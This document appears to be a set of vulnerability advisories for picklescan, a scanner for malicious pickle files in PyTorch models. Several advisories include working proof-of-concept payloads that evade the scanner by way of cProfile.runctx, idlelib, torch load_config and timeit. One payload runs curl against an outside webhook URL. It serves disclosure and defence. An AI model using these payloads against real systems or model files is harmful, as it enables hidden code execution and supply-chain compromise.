### Summary
Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to cProfile.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
import cProfile
class EvilCProfileRunctx:
def __reduce__(self):
# cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
return cProfile.runctx, ("__import__('os').system('whoami')", None, None)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
### Summary
Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncommand:
def __reduce__(self):
payload = "__import__('os').system('whoami')"
fake_self = SimpleNamespace(
locals={},
tkconsole=SimpleNamespace(executing=False),
rpcclt=None,
debugger=None
)
return ModifiedInterpreter.runcommand, (fake_self, payload)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Picklescan versions prior to 0.0.30 fail to detect malicious pickle files that exploit the built-in Python function ensurepip._run_pip. This allows attackers to embed and execute arbitrary code when such pickle files are loaded, bypassing Picklescan's detection. The vulnerability impacts users relying on Picklescan to validate pickle files, including those embedded in PyTorch models. This can facilitate supply chain attacks by distributing infected pickle files across machine learning models, APIs, or saved Python objects.
Picklescan versions prior to 0.0.29 fail to detect malicious pickle files that exploit the built-in Python function idlelib.autocomplete.AutoComplete.get_entity. This allows attackers to craft pickle payloads that bypass Picklescan's detection and execute arbitrary code when loaded. The vulnerability affects users relying on Picklescan to verify the safety of pickle files, particularly in contexts such as PyTorch models. Exploitation can lead to remote code execution and supply chain attacks through infected pickle files distributed in machine learning models or saved Python objects.
### Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
### PoC
```
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
### Summary
Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.
### Details
Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method
Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
```
import pickle
import timeit
class Payload(object):
def __reduce__(self):
return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
with open('payload.pickle', 'wb') as f:
pickle.dump(Payload(), f)
create_payload()
```
Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()
2. The victim will use picklescan library to check out if the received pickle file is malicious or not
```
picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
```
3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
```
import pickle
def load_payload():
with open('payload.pickle', 'rb') as f:
pickle.load(f)
load_payload()
```
### Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Recommended Solution
I suggest adding timeit library to the unsafe globals blacklist.
picklescan before 0.0.23 fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.
picklescan before 0.0.23 is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.